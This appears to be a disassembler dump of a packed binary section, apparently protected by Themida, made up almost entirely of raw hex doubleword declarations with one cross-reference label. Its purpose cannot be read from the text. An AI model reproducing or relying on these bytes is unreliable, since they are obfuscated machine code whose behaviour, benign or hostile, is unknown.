dd 8905E910h, 0E932E58Dh, 0E9006A05h, 10h, 29FE7348h, 9F74DE98h
dd 2CA1AC8Bh, 100337A4h, 0BACEB5FFh, 6A05ECh, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 160424h, 51410000h, 570565C3h
dd 0AD95FFh, 0B58905E9h, 5E90339h, 89A6B350h, 6A2434h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
dd 661378C3h, 6627F3BBh, 0FFB642BBh, 0ECBACEB5h, 0CE905h
dd 5440000h, 9B21D710h, 98490251h, 95FFE0FEh, 5E93231h
dd 1C8DBD89h, 0BD8305E9h, 5E92AB1h, 41840F00h, 6A000000h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h
dd 41000000h, 0ED25C351h, 2D8D9529h, 0F5005E9h, 286h, 89D88B00h
dd 0DE92434h, 92000000h, 0A02DE7B2h, 7F7EAF37h, 48C9461h
dd 0BACEB5FFh, 9D3305ECh, 5E93119h, 2F6195FFh, 0B58905E9h
dd 5E908E5h, 0BACEB5FFh, 6A05ECh, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1B0424h, 50400000h, 896B86C3h, 0CB262148h
dd 0C595FF02h, 6A05E92Dh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1A042444h, 47000000h, 1E86C357h, 0FB0CC3ADh
dd 576060F7h, 3DC8815Ah, 61014C0Eh, 0D8B70F61h, 3FDBD83h
dd 0F0205E9h, 5484h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1C04h, 0C3554500h, 4203496Fh, 0FC79DD7Ah
dd 55858BECh, 6605E930h, 0C614ECBBh, 6A0000h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 160424h, 51410000h, 1C9B66C3h
dd 0E61311BFh, 0A985C770h, 5E927h, 6A000000h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
dd 3132C351h, 0F2A4C987h, 0E92CA821h, 0FFFFF44Eh, 0B39BD8Bh
dd 0BD2305E9h, 5E93111h, 0E957C18Bh, 12h, 0B48A3B5h, 55A4DAE6h
dd 3A98551Fh, 0FADD264h, 0BA5F65F3h, 0F00E0000h, 0EA81h
dd 0C283F000h, 49958914h, 8305E926h, 858D14EAh, 5EE3210h
dd 35FF6450h, 0
dd 258964h, 0E8000000h, 0
db 'X+Â%',0
db 0F0h, 2 dup(0FFh)
dd 4D388166h, 12850F5Ah, 0F000000h, 33C50B7h, 503A81D0h
dd 0F000045h, 0A84h, 10002D00h, 0D9E90000h, 8BFFFFFFh
dd 698589C8h, 305E907h, 0B70F3C40h, 95890650h, 5E91D7Dh
dd 8950508Bh, 0E9109995h, 0F80505h, 508B0000h, 89D1030Ch
dd 0E9056995h, 8500305h, 2F859589h, 8F6405E9h, 5, 4C48300h
dd 13E9h, 4C8B5100h, 0A9811024h, 0B0h, 1000h, 0C3C03359h
dd 1EDDBD83h, 0F0005E9h, 2484h, 0E585C600h, 4705E90Eh
dd 9AA7D268h, 0FDB5FFD4h, 8D05E91Eh, 0EC7A6F85h, 6AD0FF05h
dd 89D0FF00h, 0E9179985h, 8DD38B05h, 0EE32C98Dh, 56006A05h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
dd 6D50AA59h, 0D9529BCh, 8905E909h, 0E926558Dh, 92D38005h
dd 80585C7h, 617005E9h, 0BD890000h, 5E9266Dh, 163D85C7h
dd 5E9h, 0D88B0000h, 0FFD88B66h, 0E92839B5h, 0FFBF0F05h
dd 0BC595FFh, 0BF0F05E9h, 698D89C6h, 6A05E932h, 9595FF00h
dd 8B05E91Eh, 1D7CEBC0h, 93C79C47h, 3EEC8158h, 191E1A26h
dd 3041EF11h, 0D7FE796Fh, 0B343212Fh, 7B51D260h, 5EABAE94h
dd 0FA415917h, 15B74F09h, 35FC7027h, 88D508Ah, 0D43BB9AAh
dd 93FB78C1h, 6A74AB0Ch, 463AC2F5h, 0D1327AE9h, 0BF3C4C85h
dd 0B422D9F4h, 1F889FFBh, 0EBFE256Eh, 72F3C6F7h, 7366A97h
dd 77C683C6h, 914166Ah, 15F632D1h, 10157690h, 2D5FE87h
dd 55478CA5h, 7E2FAE50h, 8DD73EFFh, 0EE33FD8Dh, 13E905h
dd 0E6430000h, 8FBABF42h, 0D5BAED77h, 0E7EB0E66h, 0AA05E64Ch
dd 558D8974h, 6A05E926h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1D042444h, 47000000h, 4F1FC357h, 0F89B82EDh
dd 0E5BEDC77h, 80585C7h, 689805E9h, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0AA0190C3h
dd 912FC7E8h, 0B79739BFh, 4830F56h, 66000000h, 0C736C4BFh
dd 0E9163D85h, 5, 55858B00h, 0FF05E929h, 0E90399B5h, 51BD8905h
dd 0FF05E929h, 0E90BC595h, 0FD850905h, 6A05E908h, 9595FF00h
dd 8B05E91Eh, 0B17FEBC0h, 555DA92Ah, 4383995Eh, 54D275D5h
dd 66DEBA0Ch, 757BA001h, 1FF75A98h, 40F37CC7h, 6E95B527h
dd 0D3F7EE83h, 0A37E0B20h, 4160984Bh, 0B98BBA03h, 0DC3E627Ah
dd 0AAFA18B7h, 8A6316F3h, 0DDC5891Eh, 6728C46Ah, 0F47A4372h
dd 1EFF9E2Ah, 55F17664h, 12AB425Ah, 0BE148DA4h, 0B636FBEDh
dd 0EC647C4Ah, 654D2F93h, 69433764h, 4BA61383h, 0C6E14BDh
dd 7C686234h, 0C4DA0602h, 490B4118h, 5E88E37h, 8E000000h
dd 27AD3AF3h, 0E7CBA66h, 0F3816659h, 0C1813BC7h, 6BB2h
dd 1EA58D29h, 0B805E9h, 81000000h, 3A45C6h, 834FF56h, 0D6B70F60h
dd 66CE8166h, 8B5F6168h, 68C781D9h, 8B3ECC5Dh, 8EC781DFh
dd 2B33EDFFh, 0E930B595h, 6BC78105h, 894EBB48h, 0E90491BDh
dd 9D895705h, 5E91861h, 0BE01048Fh, 5572EE19h, 0EAD9589h
dd 0E88305E9h, 0EF38104h, 81799484h, 0FF94D0F8h, 0A6850FFFh
dd 8BFFFFFFh, 0E92F45B5h, 7A8D8D05h, 8B05EE35h, 0E911EDB5h
dd 558D8905h, 6605E926h, 85C7DA8Bh, 5E90805h, 6F08h, 0DC5858Bh
dd 85C705E9h, 5E9163Dh, 0
dd 0D79AB866h, 55B5FFh, 6A05E9h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 180424h, 50400000h, 38AC6C3h, 0BCB7B735h
dd 0BC595FFh, 850905E9h, 5E91259h, 95FF006Ah, 5E91E95h
dd 6AEBC08Bh, 0AEC1328Ah, 0D25BA30Eh, 0A6B58ECAh, 64CDE575h
dd 270E6A1Fh, 0AF3A6563h, 5AD6B23Bh, 0DA445605h, 67D1842Ah
dd 577E5715h, 0A54B4EE1h, 9352F03Bh, 0C812C735h, 53E6F253h
dd 0BF575C50h, 567A9539h, 782E103h, 0AEDA1052h, 0BB43E9D1h
dd 2574EC17h, 543D3D9Ch, 606B2F41h, 8518481Ah, 2CBCAADDh
dd 0A173C171h, 0A09DDAA9h, 1FB90007h, 76047D60h, 55762F60h
dd 0FC61EC3Ah, 0F4990B34h, 61CA0B24h, 37672F60h, 5C8CEC32h
dd 9CD1CAD5h, 0F4590665h, 0FE73C66Dh, 73BA20A0h, 749D2F60h
dd 9CED8EFDh, 38DAAC65h, 75B6C676h, 0C85A2615h, 70053E41h
dd 256F5B60h, 0CDFBA433h, 759D2B63h, 5677AAE9h, 0E8EA2A89h
dd 705897A4h, 2D82FC9Fh, 64CD92E3h, 1762A89h, 0CD687F77h
dd 759D2B63h, 5677AAE9h, 0E8EA2A89h, 70589AD3h, 2D82FC9Fh
dd 9DBF2F0Ah, 75762F63h, 2EF87440h, 71B973E9h, 71EA6BE1h
dd 75672F76h, 0B9707C23h, 0B7590765h, 22EC4519h, 75762C88h
dd 0B6640F60h, 51E1A63Fh, 518AAE64h, 75673364h, 0B6E46860h
dd 61ACB0FEh, 0EEA1F286h, 8F3A6DDh, 0FE3EC670h, 269D45A0h
dd 75CE2C88h, 0B63C0F60h, 51EFA63Bh, 519DAE64h, 75EC3664h
dd 0B6256C60h, 762F6FEAh, 0F89E043Fh, 702720F5h, 0C6BFA306h
dd 7AB78734h, 75DD1BE4h, 75E7C660h, 17F72F60h, 0DD5CC193h
dd 3EB4C82h, 0C732E83h, 0F662C64Dh, 9C9BCADDh, 0F1D62F65h
dd 75EC2F25h, 7F9F7031h, 1F3B2F64h, 76757A60h, 55CE2F60h
dd 0FC3AEC3Dh, 0F4B70B0Ch, 6CDD0B24h, 30EC2F60h, 9500EC35h
dd 0F19A3B2Eh, 68D8AAE9h, 7E262A89h, 30672F60h, 0B0B19A62h
dd 717CA5F8h, 0E065CAA8h, 709F2299h, 523B913Ah, 7F752D60h
dd 0A1CE2F60h, 0B73307ABh, 0E96E00C3h, 84642615h, 2CE9C676h
dd 0E337AAEDh, 7A5B2A8Ch, 759D24EBh, 75C8C660h, 0B8522F60h
dd 0F50593D4h, 47F49AE9h, 8A8D2A89h, 799F4FB0h, 183B2F60h
dd 714411C9h, 0AF24656Ch, 0FE89EAF0h, 9C9F2AD5h, 0B55C4E65h
dd 74FEAB6Fh, 99C42F60h, 136C17E1h, 0F092D4E1h, 75CE2F2Bh
dd 6FC2DCE1h, 0F4D5148Fh, 77DB2B18h, 766DAB6Fh, 751C2F60h
dd 7538C737h, 2ABD2F60h, 94770A3h, 31E62B44h, 75AB2B44h
dd 229E2F60h, 130046A3h, 659EA517h, 7F3B2F60h, 4453C9D7h
dd 0B641E92Bh, 33EBC156h, 7A07783Bh, 1386FFD7h, 157017E1h
dd 75D8AA6Fh, 75512F60h, 759EC731h, 2CEE2F60h, 39EE76A3h
dd 31322B44h, 75C22B44h, 24AD2F60h, 452388A3h, 1CD3CF3h
dd 0FC20A497h, 0FCCBC661h, 9C491EEDh, 77CBAF65h, 5C2088h
dd 1FEC2F60h, 769E7E60h, 553B2F60h, 0FCC4EC39h, 0F4CA0B2Ch
dd 6E630B24h, 34B32F60h, 0EAB0EC31h, 0CF387136h, 0F4106C36h
dd 0DE3B2918h, 75DBAA6Fh, 0FFC12F60h, 75672F6Eh, 54362600h
dd 7EDCC651h, 9CE0EAFDh, 0C99F4E65h, 1F3B2F62h, 76757D60h
dd 55CE2F60h, 0FC3DEC3Ah, 0F4B70B34h, 62DD0B24h, 37EC2F60h
dd 0F5A4EC32h, 0FC5B5B17h, 9CB9AEDDh, 0F4532465h, 1462C666h
dd 74B22FDEh, 8C540626h, 0F8E9C647h, 99E06EE5h, 223B4565h
dd 759D2C88h, 0B6910F60h, 511BA63Fh, 51F7AE64h, 75D93564h
dd 0B6BB6860h, 0CC3B9421h, 44AA0DC4h, 9CB856DDh, 1F1ED065h
dd 768F7960h, 55B32F60h, 0FC87EC3Eh, 0F4E80B14h, 62720B24h
dd 333B2F60h, 2730EC36h, 0FEA822EEh, 7AA7AA9Ah, 75B2D7E4h
dd 24D94560h, 75EC2C88h, 0B62F0F60h, 5177A639h, 51D9AE64h
dd 75CE3B64h, 0B6366E60h, 138BAE84h, 7ADB2D5Dh, 75EC14E5h
dd 20764560h, 753B2C88h, 0B6C00F60h, 51A2A63Dh, 5123AE64h
dd 75B33764h, 0B68C6A60h, 66E3E27Eh, 730EAED2h, 0F641206h
dd 7448AB6Fh, 7A982F60h, 756729EFh, 0F07CAE60h, 2CAF4029h
dd 0E9D4AE06h, 28F32000h, 743B2F60h, 9C9FEEF5h, 77B6AF65h
dd 38E22088h, 13B32F60h, 7EE6E0E1h, 7394AE06h, 0F079EF60h
dd 753B2F5Ch, 354AE06h, 745FC663h, 750D2F60h, 75B0C733h
dd 2EF92F60h, 296574A3h, 31F72B44h, 75202B44h, 26DE2F60h
dd 0CFE74A3h, 0E8380A29h, 75B9C633h, 3F432F60h, 60CE6FE8h
dd 0E49C804h, 743A2FDEh, 259D451Eh, 75CE2C88h, 0B63F0F60h
dd 51F7A638h, 519DAE64h, 75EC3264h, 0B6266F60h, 0C2E62F01h
dd 37D01573h, 0E0C55334h, 708E0265h, 0E3F2AAEDh, 0F0502A8Ch
dd 70050721h, 0C8FDFF9Fh, 70D239A9h, 55ACDE1h, 0B54B42AAh
dd 75BCAB6Fh, 75D92F60h, 75DAC737h, 2ACC2F60h, 9FF70A3h
dd 31BA2B44h, 758A2B44h, 22892F60h, 6C4AF9A3h, 6026A6E6h
dd 0F5DCC650h, 0F0E3C758h, 75762F5Ch, 753B2A88h, 9C32B760h
dd 2F37EE61h, 66257E0h, 7595AA6Fh, 0F0D02F60h, 70053FEDh
dd 267157E0h, 7582AB6Fh, 64742F60h, 0C8CE2F60h, 9108CA3Fh
dd 5E7F7F03h, 51B1D586h, 0AEADE750h, 0FA4EAE06h, 13BE2065h
dd 279D2F60h, 5DFB9A51h, 0F5382A89h, 7ADB2918h, 75D97BE5h
dd 1324A460h, 8A7D57E1h, 33BE2045h, 1F9D2F60h, 76267E60h
dd 55672F60h, 0FCEAEC39h, 0F4DD0B2Ch, 63E80B24h, 34762F60h
dd 547EC31h, 3A5BAF9Bh, 75CE7D89h, 95E64F60h, 4F87700Bh
dd 6C9892EBh, 9C8D2A89h, 75762F6Dh, 0AF6D2CDDh, 0FA52FCD4h
dd 749BB52h, 756797C3h, 75D92F60h, 75DAC733h, 2ECC2F60h
dd 29FF74A3h, 31BA2B44h, 75802B44h, 268D2F60h, 0F1AE88A3h
dd 241FF4CEh, 9CDBB7ADh, 75EC2F73h, 0CD8C906Fh, 753B2F61h
dd 6CF8B2E9h, 0F4A82A89h, 2593F9B9h, 713A43D1h, 757D9544h
dd 0C8617B34h, 70981A89h, 4EB2A2EDh, 56252A8Eh, 76B94935h
dd 9C753EE5h, 0B47C0465h, 2FDE2D89h, 451E743Ah, 2C88259Dh
dd 0F6075CEh, 0A638B63Fh, 0AE6451F7h, 0E983519Dh, 58A4F305h
dd 2AB5958Bh, 9D8905E9h, 5E9227Dh, 168D9D31h, 0C00B05E9h
dd 8F840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1B0424h, 51410000h, 189196C3h, 21B6CF84h, 0FDBB3C4h
dd 0B58DD2BFh, 5E94E6Dh, 4C30D281h, 3B85536h, 6A000000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h
dd 43000000h, 3FC353h, 0FEB8A0Bh, 685h, 0D1BD8B00h, 0FF05E916h
dd 57006AE6h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h
dd 0C3574700h, 0A6AEE932h, 9D8BFC38h, 5E90E4Dh, 6A40F9h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
dd 0C59A8C3h, 9D895909h, 5E91875h, 14E9h, 7E78CE00h, 0CF8663F2h
dd 74E46218h, 84F8B25Dh, 0BBC9F42Fh, 6AC08B75h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
dd 0B1B3C356h, 0FF833567h, 6830FADh, 89000000h, 0E90D0D85h
dd 14E805h, 0B0B80000h, 35824FAEh, 0CD6965B0h, 0E78C4520h
dd 29566057h, 0B3512860h, 835F592Fh, 0E9164DBDh, 9750005h
dd 1121BD83h, 740005E9h, 8B535019h, 403B8C0h, 85890000h
dd 5E905ADh, 0B92B9D8Dh, 0D3FF05EBh, 0BD83585Bh, 5E91121h
dd 50177400h, 403B853h, 85890000h, 5E905ADh, 0B5CC9D8Dh
dd 0D3FF05EBh, 0BD89585Bh, 5E901F5h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 17h, 7DC35646h, 89A2A827h, 0E922D19Dh
dd 9D8B6005h, 5E926B9h, 3A31F081h, 8B612E96h, 0B96656C0h
dd 615B02D1h, 0D4712ADEh, 0DC4B46D4h, 0C8557F01h, 98525CD4h
dd 0A90B3363h, 982633A9h, 5E265AF1h, 7128D6EFh, 0B44E6030h
dd 67A5E4FFh, 7138CEF8h, 0F7A3BEA3h, 6723DF29h, 69A3BA79h
dd 1B23DAE6h, 7138EED7h, 1D293330h, 98263383h, 0A55DB6C0h
dd 15763648h, 761B5ED6h, 0DD963ACh, 9DCF0125h, 98266483h
dd 15235935h, 761B4E1Fh, 1DAB6348h, 9DC80ECBh, 11B3CC03h
dd 9323DAA6h, 0A1A23C14h, 1526336Ah, 761B4EB0h, 0AACE639Fh
dd 0D826334Dh, 1BA3BEF6h, 0C823DD6Eh, 0A55BB624h, 6776363Ah
dd 712596FFh, 94E2B030h, 0A55BB617h, 157636A3h, 761B5E23h
dd 0DD96356h, 9DCF0158h, 9826513Dh, 74AD666Ah, 0CE746464h
dd 0AB2E4E11h, 9824DA8Dh, 0DF6633A6h, 97260CD3h, 67D9C62Ch
dd 13EF002Bh, 0B2CF3B17h, 0AB263335h, 1831B948h, 68AD03A7h
dd 5AAD63E8h, 982C8800h, 9BCF33A9h, 6F2633D4h, 66A57D89h
dd 6CA13C35h, 0C3D9CC65h, 0DF7EFB4Eh, 97E638EEh, 67D9FDD6h
dd 0C6E7B856h, 517F6C8Eh, 152637A8h, 761B5888h, 38ABBE9Fh
dd 2023DD73h, 93h, 71E7FC78h, 0D0073102h, 4C783C8h, 0F2850F49h
dd 8DFFFFFFh, 0EE3EA0B5h, 0BF8D8D05h, 2B05EE3Eh, 5E983CFh
dd 8D8DC88Bh, 5EE3F6Eh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 15h, 33C35646h, 558D89D8h, 6A05E926h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
dd 0A410C355h, 9985890Bh, 0C705E907h, 0E9080585h, 637805h
dd 3D85C700h, 5E916h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1A042444h, 45000000h, 0F15BC355h, 0E39F1C80h
dd 0B5FFFC93h, 5E904BDh, 30919589h, 858B05E9h, 5E92E21h
dd 0BC595FFh, 858B05E9h, 5E91979h, 8C66BF66h, 95FF006Ah
dd 5E91E95h, 69EBC08Bh, 2C6962E7h, 37F50ACh, 0E9D26898h
dd 3C10E40Eh, 7DC0C703h, 95E0592h, 0A197CFCBh, 31A6A9A5h
dd 0A77BBAD3h, 0C7C1FDB7h, 0EFD7BEBEh, 0A43D4D77h, 0A5DBADE6h
dd 614B2A4Bh, 42C56CA8h, 0B8F0C11Ch, 0CDB37E9Bh, 90026E52h
dd 0EEDC47DDh, 0B9EE6D5Ah, 14B63847h, 0E3717E69h, 4196037Dh
dd 0AA1B6219h, 249DF6CAh, 828A8F17h, 33582062h, 3331C854h
dd 6E121001h, 5FBB55C2h, 77B30025h, 33240625h, 66770101h
dd 781421C2h, 1A67CD88h, 0BF5425E8h, 61327AD9h, 33320BE9h
dd 0F0682401h, 17668B5Bh, 17768005h, 33329805h, 0F0600201h
dd 0B0DE14C7h, 0A28F9B65h, 9B37E118h, 60B60B05h, 0B8320203h
dd 0DA1680BCh, 0D68F0304h, 3337A929h, 3358A40Eh, 33581001h
dd 3331E050h, 6A120401h, 7FBB5BC2h, 77B30525h, 33258425h
dd 62734001h, 9364B9C2h, 27DB70C7h, 0E4320801h, 9B4EEAE7h
dd 515F8420h, 0CE415CE6h, 77200B24h, 0B8558DE7h, 0DA139DBCh
dd 0C8DB7104h, 59320800h, 30DA5501h, 13320201h, 0BA6BC258h
dd 0B236A44Dh
dword_592268 dd 24366445h, 72322001h, 0E839D350h, 0AE33446Ah, 36DB23F8h
; DATA XREF: Themida_:00548712o
dd 63E58991h, 55605157h, 3CD2D2BAh, 0BEA1FB30h, 6B681EA8h
dd 3ADA805Bh, 320801h, 0EA6ED6CCh, 2CC0807Bh, 333211E9h
dd 27DF0101h, 5AB9CA5Fh, 8CBD52FAh, 7AE22DA0h, 6CCA835Fh
dd 7F330B5Bh, 3358FC25h, 3331E952h, 68128001h, 6FBB1BC2h
dd 77B32425h, 33281425h, 60710801h, 535317C2h, 663803F1h
dd 34CFBC8Ah, 0B86A85E8h, 0DA1BB59Ch, 1FF2A304h, 1653A500h
dd 3BB90DE8h, 0DB65046Bh, 33320202h, 6CF15E21h, 3716FC88h
dd 37160480h, 33322016h, 5DF14746h, 552DCCEEh, 0DACE4C8Ah
dd 33320207h, 59B6942Ah, 0B254CCE4h, 3CCD7638h, 3332CC85h
dd 3334F901h, 0EA390801h, 0ABD988Eh, 0DB3BC382h, 33320110h
dd 61807FE3h, 8412CFACh, 899392FDh, 0AFD2A490h, 0E2B96E2Fh
dd 0DA0B845Ah, 33C2870Eh, 33580101h, 33316852h, 68124001h
dd 6FBB7BC2h, 77B31425h, 33250C25h, 60710401h, 4FF72CC2h
dd 8AA78AC8h, 0B837690Ch, 33584140h, 3331C850h, 6A121001h
dd 7FBB51C2h, 77B30025h, 33280625h, 62730101h, 0EC05D0C2h
dd 31B86CCh, 0FC852F61h, 3CFA1360h, 33320C89h, 5D886201h
dd 36F3816Bh, 0DB61016Bh, 33328002h, 68F11B21h, 37167C88h
dd 37165480h, 33320818h, 34F15742h, 0AE05ECC2h, 333EE8FAh
dd 69218001h, 4A68D211h, 0B99F0FF2h, 0AB3C5B9h, 0B8714391h
dd 3366810Eh, 33580201h, 3331E957h, 6D128001h, 47BB1EC2h
dd 77B32425h, 33251425h, 65740801h, 96684C2h, 5EBF8F99h
dd 5937E84Fh, 30DAD701h, 13324001h, 0BA6DE35Eh, 0B236347Dh
dd 24362C45h, 74320401h, 4F36C156h, 308A989Fh, 3C328001h
dd 0D2CDBBBEh, 3DC3B588h, 8D5315E8h, 42310B21h, 0CEEB98Ch
dd 0BEBF07EFh, 36DC43A6h, 0A1B1F4B9h, 46B77300h, 1837C92Bh
dd 335820CEh, 3331C854h, 6E121001h, 5FBB55C2h, 77B30025h
dd 33240625h, 66770101h, 0F305E983h, 6AC08BA4h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
dd 6514C355h, 0E4A9885h, 5207E5C7h, 6A5EF28Bh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
dd 48BEC355h, 0FA22EF5Ch, 9D89FF6Ch, 5E93171h, 0FE98589h
dd 0C38B05E9h, 74E04EBh, 46E91AFAh, 98000005h, 2E143158h
dd 0C0A6C3F2h, 51375483h, 0E0C6E316h, 565A77A2h, 0BDE8268Ch
dd 5279BAA0h, 0E5104F35h, 75A8E2C8h, 0FCAA8B58h, 132759BAh
dd 7B0DEB44h, 1AEAAC5Ah, 7EF416C9h, 8EC1FBE1h, 335E9C60h
dd 0C3F63016h, 6A97D195h, 8D2002Bh, 78B478A6h, 0EA0D1B49h
dd 0ACDF198Bh, 3F6AA98Fh, 89CD7B9Ch, 1516C91Ah, 755B029Fh
dd 0A7D21136h, 12531745h, 1ABAFCAAh, 0CE4416C9h, 0E35A3E6Ch
dd 0A8D31292h, 386BA58Bh, 507FBB95h, 5E63FBB3h, 0D816C91Ah
dd 21EFBCB9h, 3F40CFD7h, 6Dh, 5588C205h, 1ACD8F27h, 0EE0516C9h
dd 9A6D914h, 460AA1D4h, 5A40CFD7h, 13h, 0C520021h, 47E936EEh
dd 36EED599h, 0B63D9E9h, 7BCAF895h, 1AEAAC5Ah, 7EF416C9h
dd 90BFFBE1h, 33629E62h, 0D3064105h, 17497A5h, 1B3867A3h
dd 2F5BBFEEh, 3ED05EF2h, 4A78A3E2h, 0C3FDE380h, 6C467390h
dd 0BDD6042Bh, 0B7C9DE02h, 0E683E529h, 0A84C2B8h, 0A3A45845h
dd 7B9041DDh, 0A205D2ABh, 0A8B3E143h, 0EC95D987h, 0A31916C9h
dd 66E42006h, 0C02FBF1Eh, 235EBA9Bh, 96F8C2F0h, 6224D2F3h
dd 6C16C98Fh, 0B1A159F6h, 1544805Ah, 4B801DE7h, 0C23C7A2Ah
dd 5D2ACFDBh, 1906ECA5h, 0CD4B2F27h, 4566096Bh, 0C9B6D797h
dd 0C461D716h, 0CAFD371Dh, 6C9BD89Ch, 0A7CE6F3Eh, 0DA5887B6h
dd 0EC9DCC08h, 0D16E380Eh, 0CF2F3EF2h, 895240h, 0C2180000h
dd 202B5984h, 40DD0846h, 0C0EE1D5Ah, 77E68FB2h, 0F6E2609Dh
dd 0A8964711h, 0CFB552B4h, 63496691h, 8CCFA25h, 9D6C9ACDh
dd 0B369D504h, 8258DAE0h, 98C5B0E5h, 0B55281BEh, 0CF091AD6h
dd 11502A40h, 51EEB8E6h, 8230h, 0E01DF700h, 0C2E614B1h
dd 0C8110A84h, 497A5970h, 1D7FE108h, 0EBAB597Ah, 0F316C9AFh
dd 1D28E07Dh, 0A7D50843h, 1779A4E3h, 2A55947Ah, 403584FCh
dd 0DEFB2664h, 7499D7B1h, 0FD9073Ah, 0C2E210ADh, 0F31E5D86h
dd 6B99FBC5h, 0C91AEED3h, 0ABD61416h, 5178B97Dh, 0A1D43323h
dd 0E4BED5FDh, 7E4876A9h, 94C9ACE1h, 0B24F7EBAh, 0CFD70DD3h
dd 112340h, 0BBEA0000h, 71BC3509h, 5D84D4C4h, 236D7579h
dd 0C2F624C1h, 0D9B35685h, 16CE6B9Eh, 0B7E51852h, 8B195CD3h
dd 4D7C1F4Eh, 4C74F395h, 8A9F500Bh, 6AA20170h, 0C3FCA340h
dd 95C4016Bh, 41E29033h, 0C51C3151h, 7322DA00h, 79B33EEFh
dd 0EC4E1846h, 77515C8Ah, 6FAD093Ch, 0AF4C1644h, 26628FC9h
dd 18F295F7h, 0B781AFDAh, 538D731Ah, 0AE5C7D20h, 1320E0E8h
dd 2BE380F6h, 20E0D193h, 0A3D22113h, 7794C701h, 0EE2A5791h
dd 65C791BFh, 6397337h, 0EC89E8D8h, 5C0A7EB8h, 1320E01Ah
dd 0CAF534A4h, 1470D29Ch, 0B37DABD6h, 8B553451h, 0A545262Dh
dd 110h, 0A7176F6Bh, 9FD5604h, 0B3291C32h, 5487C185h, 0E4175137h
dd 85B8F2B6h, 5313C1E2h, 5B13202Bh, 0A09048E5h, 36703441h
dd 5907E603h, 574526E6h, 43h, 0AC186F1Dh, 4F134170h, 0EEB8E611h
dd 0D9872A8Ch, 16C91945h, 8FB053C9h, 0C91A9DE1h, 0EAB2116h
dd 1AF8BE56h, 58F516C9h, 6BDD341Dh, 90CDA7C8h, 940AC461h
dd 9A16C919h, 5FC1EC2Ah, 9A6442h, 6FA40000h, 0E304A717h
dd 879F93C2h, 0B96FC3EEh, 0C9B3C589h, 5988C516h, 34EE8B01h
dd 1C32B737h, 0D79BC93Fh, 3B7B299Dh, 0C31320BFh, 0BAFCAA4Dh
dd 441320BFh, 694F6CCEh, 36CEFC2Fh, 1320BFCFh, 3B690C5Bh
dd 9FDF8D01h, 1F1320BFh, 0FD2A47A9h, 88B6E923h, 90E821BEh
dd 67A37D20h, 4D6E9B38h, 6CE11D1Eh, 8A5D1F7h, 0DA18554Eh
dd 0D3BB119h, 0AEDC0F49h, 3B2253CAh, 0BFBF6E0Ch, 4CE36A68h
dd 9D7D2EDBh, 99C00116h, 9619A37h, 0FBD5F699h, 36F08DC0h
dd 1C34362Dh, 98C6E359h, 4A7176Fh, 33574D56h, 1543B91Ch
dd 0C7E41751h, 0D174A7E1h, 59BC02B0h, 0CC421327h, 3D6C772Fh
dd 0A7408C89h, 0C309269Dh, 1EDE7EA0h, 2B6B19BCh, 0B3132742h
dd 5BE6A03Dh, 51003303h, 0E716472Eh, 0F673ADD8h, 11F794A2h
dd 5A87A4D7h, 0F6CB8B39h, 5DD30C33h, 6DA0DAC0h, 1B5A343Fh
dd 9B7C2F0h, 0C33F645h, 0D471D349h, 5280B3EEh, 0F321548Eh
dd 93C1F42Fh, 0F5A9CC1Bh, 31730279h, 0C1A7C4F7h, 0D7B15487h
dd 753F6D98h, 0F4F621C4h, 9A371755h, 0A26E2h, 0A1660000h
dd 0F2195A34h, 2F5DFAC4h, 2D5B82C2h, 0CEFC2F69h, 72A0CB0Ah
dd 18466DAEh, 0BDEB1654h, 6290BBF9h, 230639Eh, 0A4D2013Eh
dd 4775A4E0h, 243A6886h, 1C890000h, 16E56824h, 1C890000h
dd 64E6824h, 0C890000h, 92B95124h, 0BB0E2D69h, 141BACBCh
dd 0C8BCB29h, 4C48124h, 68000000h, 58F7h, 83242489h, 59042404h
dd 50D88950h, 0D4243481h, 8F77A111h, 71810841h, 0A111D408h
dd 0C8B5877h, 0E7895724h, 4C781h, 0C7830000h, 243C8704h
dd 2434FF5Ch, 4C4835Bh, 0FB3792E9h, 3D9990FFh, 0E5129298h
dd 0B76F8EA4h, 47F4B8B5h, 0C50305EEh, 308E0FFh, 0CC9D0470h
dd 26D6386Dh, 6893653Ch, 6B79599Ch, 9E9A040Bh, 71B663BFh
dd 9D063A89h, 0BD362C90h
dd 0D0CB4468h, 0C8726BEBh, 703F1DD1h, 0CA5C6D5Fh, 79B42FD5h
dd 18CD027Dh, 3DBD06D3h, 0A6F630BFh, 0B5EE5BF2h, 0F4C15F9h
dd 42DF3914h, 0FE885033h, 0EDF79ACh, 0E29428A4h, 0E7925373h
dd 39966751h, 29121627h, 8EA124BBh, 661A10D0h, 98DF3DA2h
dd 40366305h, 79625B38h, 10E84A15h, 0AF000000h, 0BCBED582h
dd 8ECC4560h, 6E4890A7h, 0B8968738h, 21DA6F6Ch, 81C38A59h
dd 6225C1h, 0DF816600h, 6888E0h, 0B2000000h, 81665E0Fh
dd 0FF2A19DAh, 20BF0E34h, 5B52F1AEh, 81D2F480h, 757A57C3h
